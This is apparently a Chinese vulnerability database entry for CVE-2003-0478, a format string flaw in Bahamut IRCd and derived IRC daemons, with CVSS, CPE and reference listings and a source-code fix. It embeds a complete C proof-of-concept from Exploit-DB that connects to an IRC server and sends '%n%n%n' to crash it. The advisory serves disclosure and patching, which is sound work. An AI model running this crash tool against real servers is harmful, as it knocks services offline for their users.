CVE-2003-0478
CVSS10.0
发布时间 :2003-08-07 00:00:00
修订时间 :2016-10-17 22:34:19
NMCOE    

[原文]Format string vulnerability in (1) Bahamut IRCd 1.4.35 and earlier, and other IRC daemons based on Bahamut including (2) digatech 1.2.1, (3) methane 0.1.1, (4) AndromedeIRCd 1.2.3-Release, and (5) ircd-RU, when running in debug mode, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a request containing format strings.


[CNNVD]Bahamut IRCd和IRC守护进程格式串漏洞(CNNVD-200308-011)

        (1) Bahamut IRCd 1.4.35及其早期版本和其他基于Bahamut的IRC守护进程,包括(2)digatech 1.2.1版本,(3)methane 0.1.1版本,(4)AndromedeIRCd 1.2.3-Release,和(5)ircd-RU中存在格式串漏洞。远程攻击者借助包含格式串的请求导致服务拒绝且可能执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:wenet:ircd-ru
cpe:/o:bahamut:ircd:1.4.35
cpe:/a:daniel_moss:methane:0.1.1
cpe:/a:andromede:adromedeircd:1.2.3
cpe:/a:hans_westerhof:digatech:1.2.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0478
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0478
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200308-011
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105665996104723&w=2
(UNKNOWN)  BUGTRAQ  20030626 Bahamut IRCd <= 1.4.35 and several derived daemons
http://marc.info/?l=bugtraq&m=105673489525906&w=2
(UNKNOWN)  BUGTRAQ  20030627 Re: Bahamut IRCd <= 1.4.35 and several derived daemons
http://marc.info/?l=bugtraq&m=105673555726823&w=2
(UNKNOWN)  BUGTRAQ  20030627 Bahamut DoS

- 漏洞信息

Bahamut IRCd和IRC守护进程格式串漏洞
危急 格式化字符串
2003-08-07 00:00:00 2005-11-29 00:00:00
远程  
        (1) Bahamut IRCd 1.4.35及其早期版本和其他基于Bahamut的IRC守护进程,包括(2)digatech 1.2.1版本,(3)methane 0.1.1版本,(4)AndromedeIRCd 1.2.3-Release,和(5)ircd-RU中存在格式串漏洞。远程攻击者借助包含格式串的请求导致服务拒绝且可能执行任意代码。

- 公告与补丁

        

- 漏洞信息 (22839)

methane IRCd 0.1.1 Remote Format String Vulnerability (EDBID:22839)
linux dos
2003-06-27 Verified
0 Dinos
N/A [点击下载]
source: http://www.securityfocus.com/bid/8038/info

Behamut IRCd has been reported prone to remotely exploitable format string vulnerability.

The issue presents itself when Behamut is compiled with DEBUGMODE defined. Reportedly a remote attacker may send malicious format specifiers to trigger an error. By passing specially crafted format specifiers through the IRC session, a remote attacker could potentially corrupt process memory and may have the ability to execute arbitrary code with the privileges of the affected daemon.

It should be noted that IRC daemons that are derived from the Behamut source have also been reported vulnerable.

/*
 * Irc crash for bahamut servers based on http://www.securityfocus.com/archive/1/326917/2003-06-24/2003-06-30/0
 * Bahamut IRCd <= 1.4.35
 * - Dinos nagash@compulink.gr 27/06/03
 */

#include <stdio.h>              /* for printf() */
#include <sys/socket.h>         /* for socket(), connect(), send() and recv() */
#include <arpa/inet.h>          /* for sockaddr_in inet_addr() */
#include <stdlib.h>             /* for atoi() */
#include <unistd.h>             /* for close() */
#include <fcntl.h>              /* for fcntl() */
#include <sys/file.h>           /* for O_NONBLOCK and FASYNC */
#include <sys/time.h>           /* for timeval */
#include <errno.h>              /* for errno and EINPROGRESS */
#include <netdb.h>              /* for gethostbyname */

unsigned long resolv_name(char name[])
{
   struct hostent   *host;              /* structure containing host information */

   if ( (host = gethostbyname(name)) == NULL )
   {
        printf("gethostbyname() failed\n");
        exit(1);
   }
   /* returing the binary, network-byte-ordered address */
   return *( (unsigned long *) host->h_addr_list[0] );
}


int main (int argc, char *argv[])
{
   int sock;                    /* socket descriptor */
   int retval;                  /* return value from connect() */
   struct sockaddr_in ServAddr; /* socks's server address */
   char *servIP;                /* server IP address */
   char *socksbuf;              /* send buffer */
   unsigned short ServPort;     /* socks server port */
   struct timeval tv;           /* timeout values */
   unsigned int len;            /* message length */
   fd_set sockSet;              /* set of socket description */
   unsigned long theip;         /* the ip */
   fd_set setit;                /* fd settings for select() */
   int i;

   if ( argc < 2 )
   {
        printf("Irc Crash \n");
        printf("Usage:");
        printf("./ircc <irc-server> <port>\n");
        exit(1);
   }

   servIP = argv[1];
   ServPort = atoi(argv[2]);

   if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 )
        return -1;      /* There is no socket for us :( */

   memset(&ServAddr, 0, sizeof(ServAddr));
   ServAddr.sin_family          = AF_INET;
   ServAddr.sin_addr.s_addr     = resolv_name(servIP);  /* irc-server ip */
   ServAddr.sin_port            = htons(ServPort);      /* port */


   if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) {
        printf("Connected...\n");
   }
   else {
        printf("Error connecting to the ircserver\n");
        close(sock);
        exit(1);
   }
   sleep(1); /* just sleep */
   memset(&socksbuf, 0, sizeof(socksbuf));
   socksbuf = "%n%n%n";
   printf("Sending buffer %s\n",socksbuf);
   i = send(sock, socksbuf, 7, 0);
   if (i <0) {
        printf ("Error sending buffer\n");
        close(sock);
        return -1;
   }

   printf("Buffer send\n");

   close(sock);
   return 0;
}
		

- 漏洞信息

11827
Multiple Vendor IRC Daemon Debug Format String
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Workaround, Upgrade
Vendor Verified

- 漏洞描述

- 时间线

2003-06-26 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.0.6-04-stable or higher, as it has been reported to fix this vulnerability. It is also possible to temporarily work around the flaw by implementing the following workaround: edit the src/s_debug.c file and change 'syslog(LOG_ERR, debugbuf);' to 'syslog(LOG_ERR, "%s", debugbuf).'

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站